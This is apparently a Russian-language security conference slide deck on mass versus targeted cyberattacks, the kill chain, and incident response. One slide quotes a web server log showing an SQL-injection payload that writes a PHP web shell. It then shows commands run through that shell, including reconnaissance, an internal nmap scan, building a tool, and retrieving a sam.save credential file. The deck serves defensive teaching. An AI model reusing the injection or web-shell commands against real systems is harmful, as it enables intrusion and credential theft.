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Кто оппоненты?



Что такое массовые и таргетированные

В контексте жертв, затронутых инцидентом

+ Все, почти без разбора

+ Вы + отрасль + страна

+ Вы = Patient Zero, почти Patient Zero
В контексте требований к: 

+ Квалификации

+ Техническому оснащению

+ Стоимости реализации

+ Возможности масштабирования

В контексте целеполагания атакующих

+ Потдвержденные достигнутые цели

+ Подтвержденные цели, по которым велась работа

+ Потенциальные цели

В контексте реакции атакующих на появление противодействия

+ У Вас положительный или отрицательный опыт?



Цели атак массовых нарушителей

Получение финансовой выгоды

+ Атаки на клиентов банков и финансовые организации

+ Атаки на мобильные устройства (как кошельки) 

+ Атаки сбора ПД, для дальнейшей монетизации

+ Атаки с требованием выкупа (Часть DDoS, ransomware)
+ Mining
+ Выполнение заказов на ранее подготовленных данных

Промежуточные шаги к цели

+ Массовые эксплуатации уязвимостей

+ Подбор словарных паролей

Стратегические задачи

+ Подготовка инфраструктур для потенциальных заказчиков

+ Подготовка инфраструктур для собственных нужд

Развлечение и случайные жертвы

+ Deface
+ Anonymization



Примеры ‘KPI’ для массовых атак

Большая и всплесковая нагрузка на с2

Возможность детализации и отчетности по этапам работ

Неважна потеря нескольких процентов жертв

Масштабируемый протокол взаимодействия

Механизмы обеспечения живучести 

+ при известных фактах заражений

+ потере контроля над частью жертв

+ извлечении данных из о протоколах из образцов ВПО



Цели атак высоко-квалифицированных нарушителей

Промежуточные шаги к цели

+ Атаки на партнеров и не стратегические ресурсы

+ Статистические методы атак 

+ Окружения, которые Вы не контролируете

+ Работа чужими руками

Тактические задачи для определенной цели

+ Решение задач и распоряжений, поступивших на этапе планирования миссии

+ Возможные вектора атаки как правило завязаны на персону

+ Ограниченные цели нарушителя, возможность фокусировки команды на малом (существенно 

ограниченном множестве потенциально скомпрометированных объектов)

+ Как правило скомпрометированы один или несколько конечных узлов инфраструктур

Стратегические задачи  для определенной цели

+ Долговременное присутствие

+ Возможность решение задач и распоряжений поступающих после компрометации инфраструктур

+ Закрепление в инфраструктуре, тригеры, логические бомбы…

+ Lateral movement
+ Потеря контроля над инфраструктурой



Примеры ‘KPI’ для целенаправленных атак

Управляемая нагрузка на с2

Разделение с2 в зависимости от приоритетов жертв

Каждая жертва ценна, пока не достигнута цель атаки

+ Механизмы обеспечения живучести

+ Механизмы возврата контроля над целью

+ Механизмы обеспечения скрытности действий

Осложнение инфраструктурной форензики на стороне 

жертв и атакующих



Вопросы при выявлении инцидента

Кто цель? (К Вам? Только к Вам? Ко всем?)

Как? (Как попал? Как закрепился? Как наследил? Как 

управляет? Как выходит из инфраструктуры?)
Когда? (Когда начал? Когда попал? Когда обладал 

привилегиями Х? Подтвержденный временной интервал 

присутствия?)

С чем? ( Что видно? Что еще может быть? Чем точно 

пользовались? Пароли, сертификаты, инструменты..)

Кто? (в том числе Уровень технического оснащения, 

квалификации, стоимости реализации, 

масштабируемости атаки)

Откуда? (Страна? Ресурсы? Фокусная группа? )

Зачем? (Что хотел? Что получил? Что не успел получить? 

Что оставил?)



Классификация атак на основе целей(жертв) атак

География

Отрасли…

+ Государственные учреждения

+ Операторы связи

+ Крупные организации и компании с государственным участием

+ Высокотехнологичные компании

+ Новостные агентства

+ Другие объекты КВО

Физические и/или юридические

Количественные показатели атак

Временные показатели, и тренды атак



Пример массовой атаки на внешние активы

Массовый характер

Автоматизированная 

шаблонная работа

Поиск славы



ВПО в контексте таргетированных и               

массовых атак



Ключевой функционал ВПО, как можно на него опираться

Зависит от цели

+ Похищение аутентификационной информации (пароли, сертификаты, 

ключи…)

+ Кража денег

+ Кража конфиденциальной информации

+ Запуск, удаление, модификация действий другого ПО

+ Подготовка «сервисов» и выполнение будущих хаказов

+ Тихо долго посидеть

+ …

Может включать…

+ Атаки на свою другие организации (Шифровальщики, DDoS-боты)

+ Возможность удаленного управления(выполнения произвольных 

команд), загрузки дополнительных модулей ЧЕРЕЗ 

СУЩЕСТВУЮЩИЕ СИСТЕМЫ ЗАЩИТЫ

+ Повышение привилегий

+ Распространение, обеспечение перемещения и транспорта внутри 

сети, между сетями с различным уровнем доверия

+ Активное противодействие СЗИ Скрытие факта и следов 

присутствия, вмешательство в работу, ПО, ВПО

+ Запускать все, что приходит по сети



Kill Chain



Сбор информации о цели атаки (Reconnaissance)

OSINT
+ Google, Yandex, Yahoo..
+ Резюме, вакансии

+ Социальные сети

+ Мессенжеры

+ Whois
+ Shodan

Автоматизация процесса с помощью инструментария

+ Maltego
+ FOCA
+ …

Аккуратная работа с инфраструктурой жертвы

+ Пассивный сбор информации с каналов связи

+ Взаимодействие с окружением с помощью легального ПО



Подготовка инструментария атаки (Weaponization)

Насколько уникален

Насколько технологически сложен

Насколько свеж

Доступен ли для массового пользователя

Используется .. .целевыми группами



Доставка (механизмы попадания ВПО)

Доставка

+ Веб
•Web с активным участием пользователей 

•Web без активного участия пользователей

+ Почта

•Служебная почта

•Личная почта

+ Сменные носители

+ В гости на периметр

+ В гости через периметр

+ BYOD  и удаленный доступ

+ Партнеры и поглощения

+ …



Эксплуатация (Exploitation)

Пререквизиты

Требуемые привилегии 

Уровень автоматизации

Универсальность 

КПД эксплуатации

Шумность и побочные эффекты



Распространение ВПО через Веб, целенаправленная (watering 
hole) или массовая атака?



Распространение ВПО и атаки с использованием Почты

- Письма сейчас и 3-5 лет назад

- Письмо адресовано Вам (сотруднику) или некоторой целевой 

группе

- Есть ли публичные упоминания о подобных письмах

- Корректно ли указана должность?

- Шаблонность, стилистика, сложности перевода

- Соответствует ли контексту проводимых в данный момент работ?

- Extortion email часто на публичные точки входа



Установка модулей, закрепление в инфраструктуре (Installation)

Обход систем защиты

Механизмы скрытия, антифорензика

Может ли работать при штатной работе систем

Повышение привилегий

Механизмы восстановления

Модульность

Антиотладка

Функционал

Перемещение внутри инфраструктуры

Оставляемые следы



Организация канала управления (Command & Control)

Как все или с изюминками?

Приоритет скрытия факта канала?

Накладные расходы на передачу?

Приспособленность к передаче большого объема

информации 

Возможно ли в текущей инфраструктуре при 

текущей конфигурации?

Проверили ли альтернативным способом, что 

невозможно?

Интерактивная работа или асинхронная обработка?

Работа в изолированных окружениях?

0-Day?



Выполнение целей атаки (Actions on Target)

Доступ к инфраструктуре

Конкретные данные 

Перехват/мониторинг данных

Подмена данных

Нарушение доступности

…



Пример целенаправленной атаки: компрометация через узел 
периметра

• SCAN - [19/Sep/2015:17:55:45 +0400] “GET /acunetix-wvs-test-for-some-inexistent-file HTTP/1.1” 404 248
• SHELL - [19/Sep/2015:21:04:05 +0400] “GET 
/classes/common/mpanel/submitsql.php?sqlcmd=SELECT+%27%3C%3Fphp+system%28%24_POST%5Bcmd%5D%29
%3B+%3F%3E%27+INTO+dumpfile+%27%2Fusr%2Flocal%2Fapache%2Fhtdocs%2Ftemplates%2Fcommon.php%27%
3B&database=contractors HTTP/1.1” 200 1200
• Проверка SHELL - [19/Sep/2015:21:04:26 +0400] “GET /templates/common.php?cmd=uname%20-

a;%20ifconfig; HTTP/1.1” 200 3533

• Работы по инвентаризации  [19/Sep/2015:22:29:12 +0400] “GET 
/templates/common.php?cmd=nmap%20192.168.2.1-100%20-p%2080 HTTP/1.1” 200 167

• Дополнительный инструментарий[26/Sep/2015:23:33:35+0400] “GET 
/templates/common.php?cmd=tar%20xvf%20hans.tar;%20cd%20hans;%20make;%20ls%20-la; HTTP/1.1” 200 
3372

• Выгрузка базы с УЗ - [29/Sep/2015:18:11:51 +0400] “GET /templates/sam.save HTTP/1.1” 200 69632

• Возможность работы с использованием легальных УЗ через 10 дней

Перемещения внутри инфраструктуры, ручное выполнение 

команд для развития целей атаки 



Жизненный цикл инцидентов ИБ в контексте 

целенаправленных и массовых атак



Работы после выявления инцидента (детализация)

Initial point of investigation (c чего засуетились)
Оценка ситуации и предварительная классификация 
инцидента

Mitigation VS Investigation
Оповещение о факте инцидента
Категоризация инцидентов

Адаптация типа инцидента на каждом шаге на основе 
доступных в данный момент знаний

Рекомендации (Mitigation plan)
Быстрые меры по устранению видимых последствий
Детальный анализ и расследование
Минимизация рисков
Восстановление
Проверка достаточности принятых мер
Уроки, отчеты, все заново (намылить, смыть, повторить)



Не стоит забывать про грабли

Просто троян и он удалился

Нет веры что это бывает и может быть с Вами

Чрезмерная вера в СЗИ, а это лишь инструмент а не процесс

Ошибки распознавания

Неготовность инфраструктуры

Ошибки схем эскалации

Ошибки приоритетов операций

Держать в себе и молчать как ..?



Спасибо за внимание!

ptsecurity.ru


